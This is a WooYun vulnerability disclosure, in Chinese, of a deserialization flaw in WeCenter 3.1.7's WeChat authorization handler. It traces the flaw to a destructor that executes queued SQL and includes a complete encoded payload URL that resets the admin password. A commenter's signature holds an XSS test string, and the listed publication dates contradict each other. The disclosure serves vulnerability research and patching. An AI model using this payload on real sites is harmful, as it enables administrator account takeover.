当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(43) 关注此漏洞

缺陷编号: WooYun-2016-171624

漏洞标题: wecenter3.17反序列化漏洞可重置管理密码

相关厂商: wecenter.com

漏洞作者: he1m4n6a

提交时间: 2016-01-21 15:30

公开时间: 2015-12-26 16:56

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧 php源码分析

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-21: 细节已通知厂商并且等待厂商处理中
2016-01-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-21: 细节向核心白帽子及相关领域专家公开
2016-03-31: 细节向普通白帽子公开
2016-04-10: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

简要描述:

wecenter最新版反序列化漏洞可重置管理密码

详细说明:

app/m/weixin.php中

code 区域
public function authorization_action()
{
$this->model('account')->logout();

unset(AWS_APP::session()->WXConnect);

if (get_setting('weixin_account_role') != 'service')
{
H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));
}
else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')
{
if ($_GET['state'] == 'OAUTH')
{
$access_token = unserialize(base64_decode($_GET['access_token']));
}
else
{
$access_token = $this->model('openid_weixin_weixin')->get_sns_access_token_by_authorization_code($_GET['code']);
}

if ($access_token)
{
if ($access_token['errcode'])
{
H::redirect_msg('授权失败: Authorization ' . $access_token['errcode'] . ' ' . $access_token['errmsg'] . ', Code: ' . htmlspecialchars($_GET['code']));
}



关键代码

$access_token = unserialize(base64_decode($_GET['access_token']));

没有过滤用户的参数$access_token



然后我们可以查找自动加载的类,因为数据库操作都要用到,所以应该会自动加载数据的类,事实也是加载了,全局搜索function __construct或者,找到一个system/aws_model.inc.php,其中__construct无法利用,但是其中还包含__destruct,可以利用

code 区域
public function __destruct()
{
$this->master();

foreach ($this->_shutdown_query AS $key => $query)
{
$this->query($query);
}
}



跟进query函数

code 区域
public function query($sql, $limit = null, $offset = null, $where = null)
{

$this->slave();

if (!$sql)
{
throw new Exception('Query was empty.');
}

if ($where)
{
$sql .= ' WHERE ' . $where;
}

if ($limit)
{
$sql .= ' LIMIT ' . $limit;
}

if ($offset)
{
$sql .= ' OFFSET ' . $offset;
}

if (AWS_APP::config()->get('system')->debug)
{
$start_time = microtime(TRUE);
}

try {
$result = $this->db()->query($sql);
} catch (Exception $e) {
show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
}

if (AWS_APP::config()->get('system')->debug)
{
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
}

return $result;
}



是个查询sql函数,虽然没有回显,但是更新,插入等功能不需要回显

那我们就要去构造 $this->_shutdown_query这个参数,然后脚本结束,自动调用__destruct()函数,执行我们构造的sql语句。$this->_shutdown_query这个又是私有变量,那么继续查找

code 区域
public function shutdown_query($query)
{
$this->_shutdown_query[] = $query;
}



类中又有这个公有方法,可以对 $this->_shutdown_query赋值,那么我们就可以构造sql语句了。

$access_token出错的话,会导致程序出错,__destruct函数无法执行,所以我们也可以赋一个值给他。

通过测试代码构造的sql语句,把admin用户密码改为123456

程序密码的加密方式在systems/functions.php

code 区域
function compile_password($password, $salt)
{
$password = md5(md5($password) . $salt);

return $password;
}



有了加密方式,我们就能构造任意的密码md5值插入到数据库

注意,这边我是本地测试,为了方便,就没有注册公众号(正常网站发布都会有此项功能,官网也有,不需要登录后台),所以我直接把weixin.php其中代码

code 区域
if (get_setting('weixin_account_role') != 'service')



改成

code 区域
if (get_setting('weixin_account_role') == 'service')



这样就可以方便测试下面的代码,而无需注册微信公众号。

漏洞证明:

先把admin密码随便更改

1.png



然后执行

code 区域
http://localhost/WeCenter_3-1-7/UPLOAD/?/m/weixin/authorization/?code=1&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtzOjM6InNlciI7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjkxOiJ1cGRhdGUgYGF3c191c2Vyc2Agc2V0IHBhc3N3b3JkPSdlZmVlYzkwZDI1NTY0NTRkYzMwZDgxOGZlNTAzOTNhNCcsc2FsdD0nYWFhYScgd2hlcmUgdWlkPTE7Ijt9fX0%3d



然后就可以重置admin密码为123456

2.png

修复方案:

过滤用户可控数据

版权声明:转载请注明来源 he1m4n6a@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-26 16:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2016-02-26:谢谢反馈,将在下个版本修正


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2016-01-21 18:40 | 表哥 ( 实习白帽子 | Rank:42 漏洞数:11 | 他依然帅气。)
    0

    66666

  2. 2016-01-21 19:44 | Msl ( 路人 | Rank:27 漏洞数:7 )
    0

    出售 饮料,瓜子,小板凳~~~

  3. 2016-01-21 20:45 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)
    0

    99999

  4. 2016-01-27 21:50 | Sakura丶小樱 ( 路人 | Rank:4 漏洞数:2 | <script>alert(document.cookit)</script>)
    0

    666666666666

登录后才能发表评论,请先 登录